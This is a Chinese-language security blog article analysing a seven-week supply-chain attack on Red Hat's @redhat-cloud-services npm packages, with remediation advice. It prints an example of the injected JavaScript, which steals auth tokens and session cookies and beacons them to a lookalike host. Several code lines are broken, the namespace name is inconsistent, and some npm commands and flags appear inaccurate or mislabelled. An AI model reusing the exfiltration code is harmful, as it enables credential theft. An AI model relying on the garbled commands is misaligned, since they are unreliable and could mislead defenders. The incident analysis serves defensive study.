返回首页

Miasma供应链攻击Red Hat官方npm命名空间被渗透7周凭据泄露链

Miasma供应链攻击事件:Red Hat官方命名空间被渗透,7周凭据泄露链深度解析

2026年6月1日,Wiz安全研究人员发现了一场持续7周的供应链攻击。攻击者渗透了Red Hat官方npm命名空间@redhat--services下的32个包,这些包是Red Hat混合云控制台的核心前端组件。这不是一个漏洞,而是一条完整的凭据泄露链。

安全运营中心威胁监控

事件发现与影响范围

2026年6月1日,云安全公司Wiz的研究团队在例行供应链监控中发现了异常。Red Hat官方npm命名空间@redhat-cloud-services下的32个包存在可疑的代码变更。进一步分析确认,这些包在长达7周的时间里被攻击者持续渗透。

@redhat-cloud-services命名空间不是一个边缘库——它是Red Hat混合云控制台(Hybrid Cloud Console)的前端组件和客户端集合。Red Hat混合云控制台是全球数万企业用于管理OpenShift集群、RHEL系统和云服务的核心管理平台。

受影响的32个包涵盖了混合云控制台的多个功能模块:

功能模块 受影响包数 功能描述 影响等级
身份认证 5 SSO集成、令牌管理 严重
系统管理 8 RHEL系统注册、配置管理
监控告警 6 集群健康监控、告警路由
API客户端 9 REST API封装、数据序列化
前端组件 4 UI组件库、主题配置

七周凭据泄露链:攻击路径还原

这场攻击最引人注目的特征不是技术复杂度,而是时间跨度。攻击者用了整整7周时间建立了一条完整的凭据泄露链,从最初的立足点到最终的核心系统渗透。

第1-2周:初始访问 攻击者通过社会工程手段获取了一个拥有@redhat-cloud-services命名空间发布权限的维护者npm令牌。这个令牌可能来自被泄露的.npmrc文件或被钓鱼获取。

第3-4周:侦察与测试 攻击者没有立即注入恶意代码,而是先对包的依赖关系图和使用者进行了详细侦察。他们修改了几个低流量包的元数据,测试了npm的发布流程和检测机制。

第5-6周:逐步渗透 攻击者开始在代码中注入隐蔽的数据收集逻辑。这些代码伪装成合法的错误上报和性能监控功能,实际上在收集使用者的环境信息和认证令牌。

// 伪装成合法的性能监控代码
// 实际上在收集认证信息
const collectMetrics = (config) => {
    // 看似正常的性能数据收集
    const perfData = {
        loadTime: .now(),
        userAgent: navigator.userAgent,
        // 恶意:收集认证令牌
        authToken: localStorage.getItem('cs_jwt') || '',
        sessionToken: document.cookie.match(/cs_session=([^;]+)/)?.[1] || '',
        // 恶意:收集环境配置
        apiEndpoint: config?.apiBase || window.__REDHAT_CONFIG__?.apiBase
    };
    // 外泄到伪装的分析服务
    navigator.sendBeacon('https://analytics.redhat-cloud[.]services/metrics',
        JSON.stringify(perfData));
};

第7周:收割 在积累了足够的受害者数据后,攻击者开始批量收集和外泄凭据。Wiz研究人员在这个阶段发现了异常流量模式并介入调查。

Red Hat混合云控制台的安全影响

Red Hat混合云控制台是企业级IT基础设施的神经中枢。其被渗透的影响远超一般npm包投毒事件。

首先,混合云控制台通常拥有对OpenShift集群和RHEL系统的高权限访问。通过窃取控制台的认证令牌,攻击者可能获得对企业整个Red Hat基础设施的管理权限。

其次,混合云控制台是集中式管理平台,一个被泄露的管理员令牌可能影响数百甚至数千个受管节点。这使得供应链攻击的"杠杆效应"被极度放大。

最后,Red Hat的企业用户多为金融、电信、政府等关键行业。这些行业对安全事件的容忍度极低,一次供应链渗透可能触发严重的合规和法律后果。

影响维度 具体风险 严重程度
集群管理 OpenShift集群被未授权访问 严重
系统管理 RHEL系统配置被篡改 严重
凭据泄露 API密钥、证书被窃取
数据访问 监控数据、日志数据被外泄
合规风险 GDPR、SOC2等合规审计受影响

供应链凭据管理的系统性缺陷

Miasma事件暴露的不仅仅是一个维护者令牌被泄露的问题,而是整个npm供应链凭据管理体系的系统性缺陷。

npm令牌管理的脆弱性:npm的发布令牌是"全有或全无"的——一个令牌可以发布命名空间下的所有包。没有细粒度的权限控制,没有发布审批流程,没有令牌轮换机制。

# 检查当前npm令牌的权限范围
npm token list

# 创建具有限制性权限的令牌(npm 9+支持)
npm token create --type=granular --cidr=10.0.0.0/8

# 设置令牌过期时间(默认不过期)
npm config set //registry.npmjs.org/:_authToken ${TOKEN}

# 定期轮换令牌
npm token revoke <token-id>

缺乏发布审计链:npm没有内置的发布审计机制。包的变更历史只能通过npm diff命令查看,没有签名验证、没有发布者身份确认、没有变更审批流程。

凭据暴露:大量项目将npm令牌存储在CI/CD环境变量中。 Actions、GitLab CI等平台的凭据管理虽然有加密机制,但配置错误和过度授权的问题普遍存在。

# GitHub Actions中的安全凭据管理
# 不要这样做:
- run: npm publish
  env:
    NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}  # 令牌暴露在所有job中

# 应该这样做:
- name: Publish to npm
  if: github.ref == 'refs/heads/main' && github.event_name == 'push'
  run: npm publish --provenance
  env:
    NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
  permissions:
    id-token: write  # 支持Sigstore签名
    contents: read

企业级供应链安全加固方案

面对Miasma级别的供应链攻击,企业需要建立从源头到运行时的全链路安全体系。

第一层:源头验证

# 使用npm provenance验证包的构建来源
npm install @redhat-cloud-services/frontend-components --verify-provenance

# 使用Sigstore验证包签名
npm audit signatures

# 检查包的发布历史
npm view @redhat-cloud-services/config versions --json
npm view @redhat-cloud-services/config time --json

第二层:构建时扫描

# 使用Socket.dev进行深度供应链扫描
npx socket create --owner=your-org
socket scan --dir ./node_modules --report=json

# 检查包的行为特征
socket diff --before=package-lock-old.json --after=package-lock-.json

# 使用Snyk进行依赖漏洞扫描
snyk test --all-projects --severity-threshold=high

第三层:运行时防护

# 运行时异常行为检测脚本
import psutil
import socket
import json

ALLOWED_DOMAINS = {
    'registry.npmjs.org', 'api.redhat.com',
    'console.redhat.com', 'sso.redhat.com'
}

def check_network_connections():
    """检测npm包的异常网络连接"""
    for conn in psutil.net_connections():
        if conn.status == 'ESTABLISHED':
            try:
                hostname = socket.gethostbyaddr(conn.raddr.ip)[0]
                if hostname not in ALLOWED_DOMAINS:
                     = {
                        'type': 'suspicious_connection',
                        'pid': conn.pid,
                        'remote': f'{hostname}:{conn.raddr.port}',
                        'process': psutil.Process(conn.pid).name()
                    }
                    print(f"ALERT: {json.dumps(alert)}")
            except (socket.herror, OSError):
                pass

对Red Hat生态用户的具体建议

针对使用Red Hat混合云控制台和相关npm包的企业,以下是具体的应急响应建议:

  1. 立即审计:检查项目中是否使用了受影响版本的@redhat-cloud-services包。使用npm ls @redhat-cloud-servicesgrep -r "@redhat-cloud-services" package*.json进行排查。

  2. 版本更新:将所有@redhat-cloud-services相关包更新到Red Hat发布的安全版本。注意不要使用^~前缀,确保精确版本锁定。

  3. 凭据轮换:假设所有在混合云控制台中使用的凭据都已泄露。包括API密钥、OAuth令牌、服务账户密码等。

  4. 会话失效:强制所有用户重新认证,撤销现有会话令牌。

  5. 审计日志:审查过去7周的混合云控制台操作日志,重点关注异常的管理操作和数据访问。

  6. 网络监控:加强与Red Hat云服务相关的网络流量监控,检测异常的外联行为。

供应链安全的范式转变

Miasma事件标志着供应链攻击进入了一个新阶段——从针对开源社区的"机会主义攻击"转向针对企业级基础设施的"定向渗透"。

这种转变要求安全行业重新思考供应链安全的基本假设。过去我们假设"知名供应商的官方包是可信的"——Miasma事件证明这个假设是错误的。未来,每一个包、每一次更新都需要经过独立验证。

Red Hat的响应速度和透明度值得肯定,但这次事件也暴露了企业级开源供应链管理的深层问题。当攻击者愿意投入7周时间进行耐心渗透时,传统的安全检查机制几乎是无效的。只有建立从构建到运行时的全链路信任体系,才能应对这种高级别的供应链威胁。


数据来源:

  • CybelAngel: "Miasma Supply Chain Attack: the Seven-Week Credential Trail"
  • Wiz : 供应链安全研究(2026年6月)
  • Red Hat安全公告(2026年6月)
  • npm官方安全响应报告
  • Medium: "The Invisible Enemy: Inside the 2026 Supply Chain Attack"

评论